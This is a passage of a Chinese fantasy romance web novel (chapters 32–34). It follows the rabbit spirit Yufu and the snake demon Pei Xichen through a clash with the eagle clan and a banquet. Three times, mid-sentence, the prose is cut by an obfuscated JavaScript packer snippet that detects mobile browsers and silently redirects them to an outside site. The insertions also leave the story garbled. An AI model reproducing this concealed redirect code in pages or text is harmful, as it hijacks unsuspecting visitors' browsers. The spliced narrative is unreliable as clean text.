息尘很强,阿裴也很强,超过玉扶一些认知的强,然则,阿裴是坏蛋,他对她的想法了如指掌,却不像息尘一样不可接近,同样的,他也不拒绝旁的女妖。 玉扶对他失去了信任。 她有责任看好属于息尘的身体,也更本能地想独占。 裴息尘不止一次发现,玉扶韧性真的强,也异常的能屈能伸,上一刻生气,下一刻还能理不直气不壮地重新说请求。 说她胆子大吧,姿态偏又可怜兮兮的,说她胆小吧,她又没少气性大到给他甩脸子。 她娇弱中,天然带着十足的韧性,分外地让人,想欺负欺负。 他大抵就是这样才从一开始便想将她抢过来,只当他的小兔。 此刻,她的请求,无异熨帖了他变态的心理,瞧,阿扶果然离不开他。 裴息尘愉悦得恨不得放出尾巴,他弯着唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390872|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又极大方地应允了:“爱跟便跟吧。” 软绸质地的袖袍从玉扶手中溜走,裴息尘行姿甚是懒散拖沓地开了房门。 下楼。 玉扶很快跟上。 整整一夜,整个千织客栈就没有安生过,此刻,妖域的夜色将褪,客栈中的帮工小妖有在重新整理震倒的桌椅的,也有在噼里啪啦算着损失的…… 玉扶生出些羞愧,也动手帮忙整理搅乱的大堂,她以为她闯不出去,房屋外头应当也没影响的呢。 想着,瞥了一眼罪魁祸首,他真是坐也坐不端正,浑如没骨头似的,这样也要靠一下,手肘支在桌上,长指略点着额,还打哈欠。 可看很多次,玉扶也觉得阿裴真的好华丽,蜷发半束,衣衫鷃蓝,没有勾边,但绸缎的本身纹饰就混有许多流金的丝线,昏光下,也熠熠的。 这些衬着他的长相,将他原本息尘时圣洁的气质,一下子就冲破了,华丽、邪气、俊美,总有种说不出的味道,有着与佛子截然不同的另一种吸引力。 令人不知觉地想起,他魂息所化的小蛇与她的神魂小兔,交缠的面红耳赤。 显然的,不止是玉扶觉得他华丽好看,就连大堂中的其他妖们也这样觉得,也都偷偷瞧了他好几眼。 裴息尘抬目一眼,直撞上看她的玉扶,带着一股说不清的意味朝玉扶笑一下。 迷恋上他的兔子。 还不足够。 他要玉扶念着他能给她的好,想到他,就离不开的地步。 甚至愉悦地想,他的小兔子,眼眶红红的,只能求他给她的一天。 天渐渐亮了,蛛娘从外进来,甫一见得大堂中坐的大妖,身上每一关节都痛了起来。 这一夜,她无不惊险,尤其是最后的烂摊子,雪仙护法的死亡,如何也不能就那样放着,在内城的三大妖族闻讯之前,她先传讯给了鹰族的少主单云霄。 将外城来了裴息尘这样的大妖一事告知,唯独隐去了妖王之子。 不出所料的,单云霄对裴息尘很感兴趣。 如今内城的妖族,本就处于微妙的平衡,雪仙护法一死,其下的妖属,感知到的,没少立即改换了投奔,当然也有逃跑的,盖因她通禀单云霄的快,很快控制了局势,也令鹰族最后掌住了七欲楼。 然真的拿下七欲楼,才发现,对鹰族而言根本没有什么价值,这不过是一座为雪仙修炼专建的一座楼,吞魂夺魄,同鹰族的行事风格一点也不符。 不过也算是立功,总比这座楼重新落回了雪仙本家狐族的好,尤其是在楼顶,他们发现了这座楼本源的一座大阵,精妙又阴损。 单云霄甚至怀疑雪仙根本没死透。 故而命她若有可能,邀裴息尘见面一叙。 蛛娘知晓的,单云霄是对裴息尘动了招揽的念头,妖族势力中有能耐的大妖越多,也越能在三族中胜出。 不止是鹰族,当其他两族了解到裴息尘的存在和做的事后,怕也会有相同举动的。 所以,她回来得很快,就是为了尽快与大妖搭上联系。 然,她真的见到裴息尘便怵,尤其是,此刻见其懒懒扫过来的视线,更是一惊,猜想,他怕是早在听完她所说的妖王城内部情形,就已做好了吸引大人物注意的打算。 雪仙护法是他展现实力的投名状,否则怎么早有预料一般地还等在此? 当下,恭敬无比地上前。 32. 第 32 章 裴息尘并无蛛娘想的那般多弯弯绕绕。 杀狐妖本就在他所想范畴中,至于得罪不得罪内城的妖族,从来不在他的考量。 但他也确实是在此等蛛娘,她还挺好用的,知道的多,清理七欲楼杂妖也省去了他的不少力。 尤其是,他记得,此妖很有有些门路,诸如引荐、带路妖神古墟。 他不是独身的妖,要养兔子,总要费点心。 裴息尘唇角微勾了勾,难得的准备给蛛娘一个好脸色。 然则,蛛娘行至他跟前,就是好大一个礼:“妖君在上,小妖之前不识妖君本事,多有冒犯,还望妖君宽恕。” “此为小妖给妖君与妖君兔子的赔礼。”蛛娘视线略微一瞥玉扶,认定或从兔妖身上入手道歉更有可能性地捧出一匣子,其内是银光熠熠的女子法衣,一看就知不凡,那丝每一纹都又韧又闪。 要织就这样一身法衣,就是蛛娘自己,都要花上几十年的功夫,这里的每一毫丝,都是她修为所凝,本是为之后入了妖神古墟防身所备,现下,为了办成鹰族少主所吩咐的事,也顾不得什么珍惜不珍惜。 且,她有意瞒下听得的裴息尘妖王之子的身份,也无不有另抱一大腿的用心。 那这些付出也就算不上什么。 她恐的是,不会被接受。 她捧着匣子,道歉交好的态度十足,也再没了昨日客栈掌柜的神气。 甚至,对玉扶也一改态度,友好热络地抖开法衣,大骂没眼力的小妖,怎能让贵客帮忙活计,转而笑着要将法衣往玉扶身上比划:“好像是大了些,无妨,我今日就能改出来。” 玉扶听得出,蜘蛛精今日大骂客栈小妖还真不是在点她,而是有些讨好,还有些别有目的。 玉扶可不耐她要将衣袍往自己身上比划,身子灵活地躲到了裴息尘的身后,她觉得蜘蛛精真不会讨好妖,送什么女子法衣,喜欢亮晶晶华丽的根本不是她。 颜色也不对,阿裴喜欢的是各种蓝。 给她送衣服,还不如给阿裴送呢。 当然,玉扶才不会好心地去提醒,而是揪着裴息尘手臂处的衣袍,与他一上一下地对眼,满眼都是大大的疑问。 他到底是做了什么,一夜的功夫,蛛娘就从恨不得挤走她,变成了迫切地想与她交好。 渗死妖了! 玉扶鸡皮疙瘩都要被蜘蛛精的腆笑刺激出来了。 但这也不怪蛛娘,任是谁接连被收拾,被动听到大秘密,看到凶杀现场,都会在大妖面前老实,她还能用玉扶转移注意地与大妖搭上话已是难得。 裴息尘被玉扶揪得皱了眉,她揪一小点,揪到他肉了,他不动声色地将衣袍从玉扶手中解救出来,睨向蜘蛛精。 再无可避的压迫,蛛娘终于放弃了先交好,说明了来意,“妖君等在此,想来也是知晓,内城三大妖族不会坐视七欲楼出事不管。” “现下,抢先把控了七欲楼的是鹰族少主。” 裴息尘了然地垂了下睫,他记得,蜘蛛精说过,她亲近鹰族,如此,鹰族能这么快发现雪仙的死去,也不算是意外。 蛛娘忐忑觑一眼裴息尘的神情,继续道:“少主听说了妖君,欲请一叙。” “妖君大可放心,少主当下正是招揽诸地大妖的时候,对妖君也定是奉为上宾。”蛛娘能在妖王城长长久久地开客栈,玲珑心思必不可少,说完转达,也不忘暗示道:“昨日,小妖并不曾上得顶层。” 裴息尘顷刻撩眼打量她,又是聪明又别有用心的妖,不过是听得一点只言片语,竟当下就来卖好。 不过瞒下也好。 “你想要什么?”裴息尘长指漫不经心地轻敲着桌面。 脆生生的响,一下一下地直如危险催命的节奏。 玉扶轻轻退离了他一步,她跟久了,总能摸清一些阿裴的不同举动用意,有时候他是真懒,怎么闹,他都懒得收拾,可有时候,他又于懒散中在伺机着什么。 显然的,现下是后者。 蛛娘也明显感受到那种命悬在他人手中的感觉,她扑地跪下,浑身都在发着颤,“唯求若有一日,还仍可于妖王城中开此家客栈。” 她的要求真的很低,只要一个现状而已。 但这种现状,是建立在她在内城有后山的前提下,也即是说,若有裴息尘入主内城的一日,她可多一个靠山,亦或是换一个靠山。 她很聪明,很懂得“要”的分寸,也无形中捧了裴息尘一把,并且,不管怎么样她都不会有损失。 “本座允了。”裴息尘答应。 蛛娘喜出望外:“我这就通禀少主,安排会面时间。” * 玉扶跟在裴息尘后头。 她终于知晓阿裴为何一大早不回房中休息,反坐在大堂了。 他就是在等蛛娘呢。 她不过是一夜没跟着,蛛娘的态度转变了,她也听不懂他们说的话了。 玉扶很沮丧。 而且,她发现,原来阿裴不止是会答应她的请求,他还会答应旁的女妖请求。 玉扶看不懂他的大方了。 但她真的很小气,她不喜欢他乱答应旁的妖的要求。 万幸是今日蛛娘提的要求还算正常,那万一下次有妖提不合理的要求呢?万一是同她一样要亲亲,要神交,他也答应吗? 他们怎都这样,对谁都一样。 玉扶越想越不平衡,不发一言地回了自己房中。 她也是有气性的兔子,他都不对她特殊,她也不要一直白跟着他了。 关门的声音不算响,但裴息尘还是愣了一下,惊讶玉扶这会竟不缠着他了? 没良心的兔子。 裴息尘也鼻孔出气地呵一下,并不打算同玉扶多解释。 等确定了可入妖神古墟,还有得兔子对他摇尾巴呢。 裴息尘如是乐观。 当日里,蛛娘很快带来了同单云霄见面的时辰,由蛛娘引着入了内城。 内城多为种族群居,在妖王不出面后,内城各大妖辖地之间越发泾渭分明。 鹰族多居往高处,山下连接市集,山上领空时有猛禽一类巡空,亏蛛娘能在这样满是猛禽的区域中带他们穿行,不时有妖向蛛娘打招呼,看来是真的很亲近鹰族了。 玉扶上半日还想不再白跟着阿裴,到了下半日,阿裴要同蛛娘前往内城,她还是小尾巴似的跟上了,只是话少了很多。 一双眼也完全被全是猛禽类的妖族聚居之所吸引了,他们也不全然住在树上,而是会在树上开辟出树屋,除此外,也有非常正经的屋舍,年幼的妖在屋外玩耍,收不起的翅膀随着跑动一颤一颤的,还有从高树往下跳的,扑腾几下径直飞起来。 这些所见,稍冲淡了玉扶踏入大妖领地的紧张。 蛛娘也似有意带他们见到这些,展现出单云霄的友好。 但这种友好很快就在山顶荡然无存,巨大鹰形阴影于空中俯冲而来,携起的飓风如刀如刃,更为可怖的是,锋利的爪勾随之抓来。 玉扶同裴息尘具成了被捕猎的对象。 泛着青铜冷光的利爪越靠近越可感其力量之强,若被抓中,怕是肩骨都能被勾穿。 半圆的结界于千钧一发之际展开,鹰爪与之擦过,发出尖锐刺耳的摩擦声。 然而,攻击还未结束。 鹰妖展开羽翼,旋身再来,风刃飞舞,瞬间将爪扣入结界,令人牙酸的“咔嚓”声在碎裂阿裴的结界。 鹰妖的妖躯强悍可见一斑。 裴息尘不得不再次出手,认真对战,玉扶感到一阵力的推动,她被推到了战斗的边缘,而方才的中心地带,两妖已打了起来。 裴息尘不曾化出原形,一直用一把剑与鹰妖对抗着,而鹰妖妖躯强悍,仅用利爪与裴息尘抗衡着。 “都是妖,怎地,不敢化出原形来同我酣畅一战?”年轻男子高亢的声从鹰妖的鸟喙中传出,挑衅,又战意正酣。 与此同时,又是一阵金戈擦过的声刺耳声响,裴息尘剑气凶悍,与鹰妖的爪子砰砰砰碰撞数十次后,跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408667|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过他的防御,终于寻中机会砍向鹰妖的羽翼。 鹰妖战斗直觉机敏异常,调整羽翼飞掠方向,堪堪避开最险的一击,半空中只落下数羽黑曜般的鹰羽。 鹰妖落地,羽翼从拢到开,化为一年轻健壮男子:“我承认你的实力,你可愿归顺我鹰族?” “不愿。”裴息尘收剑。 单云霄意外扬眉,看向蛛娘,他本以为此人答应来见,便是同意加入鹰族麾下,若是不愿,那今日可便不能轻易让他离去了。 尤其是方才的试探,更令他肯定了这一点。 虽说是试探,但能于他手下撑这般久,也不曾化出原形来形体上的较量,要么,他的妖躯不敌自己,要么,他还有十足的余力。 单云霄偏向认定后一种。 妖王城何时来了这样能耐的妖,他不在乎,但他在乎,这妖可能为自己用,即便不为自己用,也不可放他被其他妖族招揽。 三大妖族平衡至今,全盖实力的相差无几,在入妖神古墟改变这种平衡之前,其他变数的存在,由不得他不警惕。 蛛娘也心跳到嗓子口,二大妖相互试探,波及方停,对话却更危机四现,她原以为,裴息尘一切都是谋划好了的,杀了雪仙护法便是想以此亲近某一妖族,再逐力为妖王谋划,引荐也水到渠成。 没想,竟不是如此吗? 不接受招揽,莫不是要同七欲楼一般,在旁人的地盘再大闹一场? 想到这个可能,蛛娘心惊肉跳,这是鹰族,不同于独立在外的雪仙护法,除了少主外,就光是这一座山中,都还有在闭关的老怪物,更莫说在妖王城之外,还有的据点。 若是真这般莽撞地打了起来,她两边都讨不到好。 一时心思多得不知该如何应对单云霄投来的问询眼神。 好在,裴息尘说完“不愿”后,并没有将僵局继续下去,他一贯轻松的姿态道:“单少主,我唯可答应不涉你等三族的争斗。” 单云霄大笑,猛禽特有的锋锐眸光很是兴味地落在裴息尘身上,他欣赏这种与他旗鼓相当有傲气的妖。 但欣赏归欣赏,也没错漏裴息尘话中透露出来的狂傲。 不涉三族斗争,也不就是说什么都不做,或许换句话说,他自信到一妖就影响整个妖王城的局势。 真是比他还狂,偏语气懒淡得跟吃饭喝水一样寻常。 单云霄收了笑,妖息几乎卷过了整个山头,“你知道你在说什么吗?” “这是我鹰族的地盘。” 话落,山顶领空的鹰隼妖族同时如收信号般,带着某种戒备规律地盘旋尖啸。 本就躲得老远的玉扶都不由捂了耳,这些禽妖的叫声也带了攻击与威慑。 她一只兔子,真的恨不得变回原形,躲到地下去。 然而,更受威胁的裴息尘并不为所动,甚至漠着眼,玩味扯动唇角:“是吗?” “我没记错的话,这应也属妖王城。” 裴息尘在嘲讽,妖王死活还不知,几大妖族就敢称是自己地盘了。 天色瞬地就暗下,是领空的禽妖们压下了几分,层层展开的羽翼,乌鸦鸦,黑暗暗,他方才的话,显见地得罪了他们。 鹰族高傲,势要给外来者一个的教训。 天地间,浩浩荡荡的妖息压下。 就在一片倒的气势中,裴息尘抬起了眼,瞳眸显出兽类的幽静,与单云霄对战都收敛得温静的妖息涤荡开。 足有一妖敌万钧之势。 山间的风更大了,满空禽妖与裴息尘一上一下对峙着,空气中都是沉默与压抑。 不止是玉扶,就连蛛娘也化为了原形。 蛛娘不要脸地挤进玉扶的兔子洞中:“小兔妖,你到底是怎么诱得的大妖,他这么不要命你知道吗?” 她语中满是抱怨,也明显地还把玉扶看得扁扁的。 “我有名字,我叫玉扶。” “这是我的洞,你挤着我了。” 玉扶白了蛛娘一眼,并没有非要把她赶出去。 33. 第 33 章 玉扶记仇。 她不赶蛛娘不是瞎好心。 蛛娘问她问题,她也还想问蛛娘呢,他们一晚上到底是去做什么了,能让懒蛇变得这样有干劲。 玉扶对外头厉害大妖之间的战局一点办法也没有,把洞往下又挖了一点,瞧着蛛娘原形上新鲜的伤痕不客气地问:“该我问你,你安的什么心,故意请我们来鹰族的地盘!” 蛛娘被玉扶气笑了:“老娘能安什么心,我倒霉,遇到你们这样的煞星。” 本来,她板上钉钉的随行妖神古墟,现在这一遭事,大妖打了起来,事后不被鹰族迁怒就已是不错,她怒瞪玉扶继续道:“是老娘非要请你们来的吗?不是你们在等着我送上门?” “你这小兔妖,真是连男人心里想的什么都不知道。” “哪天丢了性命也是该。” 玉扶气红了眼,她当然想到了裴息尘是大堂等的谁,可就是还不清楚一晚的功夫,到底发生了什么嘛,她气上头,也不管地直接问:“那你说,昨晚你们都做什么去了?” 见她是真不知,蛛娘没有瞒着的必要,阴阳怪气地道:“你那大妖杀了雪仙护法。” 玉扶眨了眨眼,倏地就将所有的事都连上了,狐狸得罪了阿裴,阿裴知晓狐狸所在后,一晚上都忍不了,让蛛娘带路地去解决了狐狸。 难怪他身上的气味那么复杂呢。 可玉扶还是不懂,杀了狐狸和鹰族有什么关系,阿裴干嘛要来送上门? 他虽然是坏蛋,可也是玉扶下山后碰到的好心肠佛修,玉扶想了想,还是冒着险,往地面上探去,她很会逃跑,若他实在不行的话,她可以考虑下带他一起逃跑。 各种妖息碰撞,罡风猛烈,挺拔身影立于风暴中心,但唯他周身划出了真空的地带,巨大的蛇形虚影不落下风地同众多禽妖对峙,不时的,反咬下一些的禽妖,许多新鲜落下的羽毛常挡住了玉扶的视线。 而被击落地的禽妖,落地化形退到了单云霄的身后。 单云霄盯着裴息尘只看得出是蛇形的虚影,兴趣越浓,除了昔日的妖王,已许久没见蛇妖一族出现这般能耐的。 终于,他不愿再强行解决了裴息尘,再较量下去得不偿失,一声嘹亮的鸟鸣,日光重新灿烂投下,单云霄拍着手从群妖中走出:“好本事,我欣赏你,你既不愿归于我鹰族麾下,你我结为兄弟如何?” “两个名额,妖神古墟。”裴息尘收了庞大妖息,开始默认了谈判。 没预料到的走向,玉扶蓦地瞠大了眼,妖神古墟,两个名额,她好像知道了什么。 群妖退去,云与光在天际亮得没有尽头,衣着风格极为华丽的裴息尘,周身都带着一股形容不出来的激撞。 玉扶看得出神,想,他好像也没有那样坏。 单云霄也惊讶,这般大动静,就为了两个名额? 不过,若只是第一次的试探,他或也会给他两个名额,但绝对不会像现在做出更多的让步,只想稳住了他。 声势浩大的对抗开始得浩大,结束得却潦草,最后以单云霄请裴息尘入他的洞府详谈为落幕。 跨过一巨大绿植所连接法阵,单云霄的住处别有它地。 住宅广阔,莺鸟妖仆起落翩然,不断为主人招待贵客做着准备。 单云霄热情地拉着裴息尘商谈结义。 玉扶就被扔给了蛛娘在不远处照看。 她们二妖真没什么好聊的,干瞪眼一会,蛛娘熟稔地带着她去沐浴,跟同着好多的小鸟妖。 小鸟妖们伺候得无微不至,有往池子里撒花瓣的,也有给池子里倒些玉扶也不知是什么的液体。 她几次想跑,都被蛛娘给拉回了池子里:“小兔妖,你怕什么,到了现在,我还敢对你做什么不成?” “你那大妖闹这么大的事,还为你也要了个妖神古墟的名额。” 蛛娘语气酸得很,同玉扶分明是想交好一点的,可还是不忘贬一下:“要知道别的像你这样连元婴都没有的小妖,哪有这个机会。” 玉扶浸在水里,哼哼地想,元婴,她也上过呢,虽然是刚上没多久就跌了下来,可也是上过。 她才不觉得自己能入妖神古墟有什么不可以。 但她也确实安分下来了:“妖神古墟是个什么样的地方?” 蛛娘也浸入池中:“没去过。” “总之,是个古妖神的战场,许多妖神的埋骨之地。” “也是许多大妖向往的传承之地。” 说着向往,但她的声音并听不出太多的向往情绪,反更多的是惆怅。 她不年轻了,她的本事与交际,若妖王城能一直和平下去,知不知道妖神古墟的存在也没什么区别。 可正是同大人物交道打得多了,知道了许多本不该知晓的事,心思也便多了起来,她总要更强一些,才好能长长久久地带着一众妖工们继续开她的客栈。 鹰族是她数百年来经营的依仗,也不难拿到一个入妖神古墟的名额,也好在最后两大妖都能坐下和谈,否则,她往日的经营就都败在兔妖和蛇妖身上了。 她带来的妖闹事,她又如何能继续在鹰族好了? 总之,就是疲惫得她都不想算计了。 再算计,还不如一只兔妖命好。 命好的玉扶没从蛛娘口中得到更具体的信息,不过妖族传承她还是懂的,是好地方。 阿裴没有骗她,去妖神古墟可以变强,他要带她去呢。 他突然这么好,这么讲信用,她都有些无所适从了。 玉扶半张脸都藏入了池中,咕噜咕噜地冒着泡。 实在看不出什么出息的样,蛛娘没好气地横她一眼,将她从水中捞起来,手一直往她身上丈量。 像是料到了玉扶会反抗,会溜,她几只手几乎顷刻就把玉扶量了个遍。 玉扶也果然跑得很快,抱着肩离她远远的,满是被人侵犯了的防备。 蛛娘嗤一声地从水中站起,她的身量比玉扶高,曲线成熟妩媚,姿态胜利地与玉扶展示着什么。 都是妖,哪里有什么羞耻,蛛娘都不要脸地展示了,玉扶也直愣愣地看,但越看,玉扶脑袋越低,慢慢地又把自己浸入水中。 气死妖了!有什么好显摆的。 她师姐说了,过犹不及,她这样匀称的也特别好。 玉扶撇脸,不想再理会蛛娘。 见打击到小兔妖,蛛娘得意地扭了扭身,但也不是说完全看不上小兔妖,兔妖年轻,雪肌腻理,肌肤白莹莹嫩得能掐出水,瞧着就令人嫉妒,偏生天真不谙世事,很有欺负的趣味。 她在大妖那讨不到好,稍稍欺负一下他的兔子又不为过,且,也不纯粹是欺负,方才的一瞬,已够她摸清玉扶的身量尺寸,当下就改起了那件没送出的法衣。 银丝于她手中飞快织梭,法衣的腰身缩了一点,领口也又改了改…… 玉扶见她不注意自己,往池岸上爬,在别人的地盘,虽然好像没有什么危险了,可她还是觉得跟在阿裴身边有安全感一些。 然,她才将要套上自己的衣服,一株银丝将她的衣服搅成了稀巴烂。 玉扶真的生气了,她自认为对蛛娘已经很客气了,一开始蛛娘就讨厌,但玉扶分得清, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412997|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她更多是因为阿裴才对蛛娘感到讨厌的,所以她最该生气的还是阿裴。 可现在无缘无故的,不让她穿衣服,一点也不讲理,她叉腰就要与蛛娘理论,却罩头一身衣袍。 “穿这件,将你那全是稚气的衣裙有多远扔多远。”蛛娘也从水中出来,轻拨动发尾,浑身的水汽蒸干,她披着一纱质轻衣,款款走向玉扶:“小兔子,我一看你的样子,就是还没将大妖拿下吧?” 玉扶鼓鼓腮:“我很快就会将他拿下,等我变强。” “谁教你的要变强才能将大妖拿下?”蛛娘简直被玉扶的理论给逗笑了,她点了点玉扶的眉心道:“我们妖,只有先吃到了才不浪费,懂吗?” “你修为这样低,你当你能跟着你那大妖多久?” “我们妖都是很善变的。” 玉扶没法反驳,其实就算不是妖,人修也很是善变的,她的师姐们就不知换了多少情人,所以,她也没有想着一直一直跟着阿裴,她就想着,只要渡情期能跟着就好了。 但这种现实被直白点出时,玉扶还是生出了烦躁,因为阿裴确实很善变,至少比她善变,她都已经很久没有三心二意地想寻其他的人修或妖了,而阿裴,已经有出门不带她的前科了。 瞧出了玉扶的心思,蛛娘又点了点她道:“把衣服换上,我带你去宴席。” “今夜啊,我保管你将他拿下。”蛛娘捂唇笑。 玉扶疑惑:“你为什么帮我?” “你不是想同我抢的吗?” 蛛娘被玉扶的直白噎了一下,见识了大妖的凶狠无情,她哪里还敢往上贴,可心里揣着秘密,总不愿放过经营的机会,然,大妖身边能使劲也就这还不错的小兔妖了。 在她看来,大妖就对这小兔妖占有欲很强。 与其便宜了旁的妖,倒不如推推这兔妖。 妖是没有人族那种礼法约束的,鹰族的饮宴,尤其是要招待欲招揽的大妖,那更是没有下限,助兴的酒、漂亮小鸟妖的歌舞、芳香四溢的兽肉……甚至血腥点的,当场剥妖仆妖丹下酒的都有。 蛛娘对这些都门清,催促玉扶换衣道:“你当我想帮你?还不是你那大妖看不上老娘?” 不仅没被看上,更被毫不怜香惜玉揍一顿,浑身骨头到现在都疼,更没好气道:“你当老娘织这身衣服容易?再墨迹,你就等着你的大妖被这里的小鸟妖抢走算了!” 蛛娘没见过玉扶这样不像妖的妖。 跟人族正派里长得似的,妖域的妖,哪个会这样抢都抢不明白? 换了她是兔妖,高低要把大妖—— 想到大妖那毫不留情掐死雪仙护法的模样,当即将想法又压了下去。 而玉扶听到“小鸟妖”,果然有了危机感,还是听蛛娘话地换了那身衣服。 很合身,合身到玉扶有些不自在,她是山里跑的兔子,总不太喜欢太束缚的衣服。 但蛛娘并没有给她太多适应的时间,带着她就往宴中去。 * 鹰族的宴请已开始了有一会。 裴息尘同单云霄并没有结成兄弟,但达成了其余的合作。 单云霄愿意给裴息尘两个入妖神古墟的名额,也答应不会强求裴息尘入鹰族的麾下,只一点需要他出力。 他知妖神古墟中有一隐藏妖墓,需裴息尘助他前往一探。 裴息尘答应了。 一时间,单云霄对裴息尘很是热情,玉扶还不曾入宴,就听得单云霄同裴息尘相谈甚欢:“你这兄弟我交定了,来,喝酒!” 玉扶瞧见了好几个漂亮的小鸟妖给裴息尘斟酒。 34. 第 34 章 玉扶步子凝住了。 双眼盯着那渐满的酒杯,比在场的所有妖都要紧张。 她是知道阿裴不能饮酒的,饮酒就可能晕过去,醒来或许就是息尘了。 可难得的,她纠结了。 她有点想息尘,但也对阿裴生出些不舍。 他比较大方,还答应带她去妖神古墟,而且,这里是妖域,若是醒来的是息尘,应该会很难应对吧? 玉扶想啊想,那酒液也渐斟满。 阿裴应该很为难吧,鹰族这样热情,他不喝的话,是不是又会和鹰族打起来? 眼见的,阿裴端起了酒盏—— 玉扶风一般地快过了蛛娘,腰下长长飘带扬如一条流线,再见她已到裴息尘面前,嫣红唇瓣就着他的手,叼向了酒盏。 微微下压,酒盏倾斜,一点点吞咽之声,轻轻地地响。 妖的酒盏自来大碗,玉扶像是喝了许久,见底部还有一浅层,托着裴息尘的手一口饮尽。 颊靥浮红,非常有想吐出的冲动,捂着唇,强咽了下去。 蛛娘惊住了,就连单云霄也饶有兴趣地看闯入的兔妖。 裴息尘警告地同不相干的妖一扬眼,于玉扶的手肘带一下,玉扶整个人绕圈似的绕过桌沿,跌入他怀里。 他压下脸,与玉扶咬耳朵:“阿扶,你在做什么?” 玉扶身形娇小,直如嵌入他怀中般抬眼:“我在帮你呀!” 她怕旁人听到,说得很小声,又因刚饮下的酒太多,她还是怕自己吐出来,甫一贴近裴息尘说完话,又紧紧捂住了唇,愈发衬得一双眼又润又透。 还真是,美味。 美味到,现在就想抓起她来咬一口。 他低低地发笑,愉悦地更拥了拥她,头磕在她发顶,低头亲了亲:“我的乖小兔。” “那就交给你了。” 蛛娘对玉扶的手段折服了,瞧着笨,原来是奔放流的,就这么会功夫,完完全全地独占了大妖,甚至,那些斟酒的小鸟妖都用不上了,大妖亲自斟酒,然后端给了怀中的兔妖。 玉扶努力一小口一小口饮着酒,迷蒙着眼瞧歌舞,跳舞的小鸟妖们穿得比她宗门的师姐们还清凉,还总跳到她面前,上面的大鸟妖更讨厌,她都要喝不下了,还在劝阿裴饮酒。 他劝一次,玉扶的压力就大一次。 终于熬不住地对阿裴摇头,她似乎听见阿裴在和大鸟妖说什么: “小兔霸道……借贵地……” 玉扶被抱了起来,有小鸟妖在带路往住处。 玉扶也不知什么时候变回了兔子,她已经很久没有这样控制不住化形了,那些酒就跟在她肚子里打架似的,好烧好烧。 可真要算的话,她其实并没有喝很多,一盏,不对,三盏,嗯……三盏剩了一半! 玉扶肯定,可是,三盏剩一半是多少? 她算不明白了。 她在裴息尘的怀里翻来覆去地折腾,左钻一下,又钻一下,还往他胸膛的衣襟扒拉…… 裴息尘后悔了,早知道醉酒的兔子这样难带,他就不让她喝后续的两盏了,待跟至客舍,他的衣襟已被扯得凌乱。 带路的鹊鸟妖们抿唇笑:“妖君恐怕不知,我们少主待客的妖酒中加入了火蜥蜴血,大妖便是饮多也影响不大,可若是小妖饮了,恐怕还需妖君为的她发散出来。” 鹊鸟妖们一齐对裴息尘福了福,背后化出羽翼,提着灯相继飞走,清清脆脆的议论还没飞远就传了回来: “我就没见过这般护食的兔妖。” “小气得紧,为霸占大妖,那等酒竟喝了三盏——” “少主难得宴请了个俊美的大妖,我等白抢去跳一场舞了。” “他可真俊,早知我也该学兔妖饮盏酒跌到他怀里——” “你可想得美,那兔妖分明就是与大妖一起的。” “那又如何,大家不都是妖嘛。” …… 议论渐远,裴息尘推门入房。 说起来,他当妖,和玉扶的常识水平也差不离,对火蜥蜴的血有什么效用,仅能通过宴饮时的观察与鹊鸟妖们的谈话,推测,大抵有助兴的效果。 这效果对修为高的大妖,或就如寻常酒水,可被阿扶饮了,反应就大了不少。 她就像烧起来的暖炉,浑身都在发烫,甫一放她下来,她还不开心了,尽往自己身上贴。 裴息尘笑了笑:“色兔子,帮个忙也要占我便宜。” 他将玉扶重新推倒,手覆上玉扶肚子,手感甚好地揉了揉,同时,妖力施为,自玉扶身上的蒸腾出不少酒气。 酒气氤氲中,玉扶总算从热得不知所以,变得能控制自己化形了,她抱着覆在自己肚子上的大手,舒服得嘤声,迷蒙的眼也随之睁开。 她的角度,刚好可以看到对她低眼的阿裴,弯弯曲曲的墨发,坏蛋一样压迫人的眉眼,她拽着他的手缓慢坐起,低着头,容情呈现一种茫然的空白感。 她要做什么来着? 她看到自己换的新衣,想起来她和蛛娘泡澡,蛛娘看不起她! 说她这么弱,肯定不能跟着大妖很久! 还说什么,只有先吃到了才不浪费。 还有,什么小鸟妖—— 不期然地,玉扶脑中闪过小鸟妖们给裴息尘斟酒的画面。 更多的想起,阿裴真的很坏,他怎么什么妖都不拒绝? 她倏地凑近裴息尘,鼻尖凑很近很近地闻,都是她的味道,可她分明看到了还有其他妖。 她更往上凑地闻,爬坐到他懒散往榻上支的腿上,仰望着问他:“你喜欢小鸟妖吗?” 裴息尘能感到腿上的压力,她今日似乎有些不一样,皮肤因热气染了一层浅浅的红,呼出的气还带着薄薄的酒味,甜得齁人。 可不只是如此。 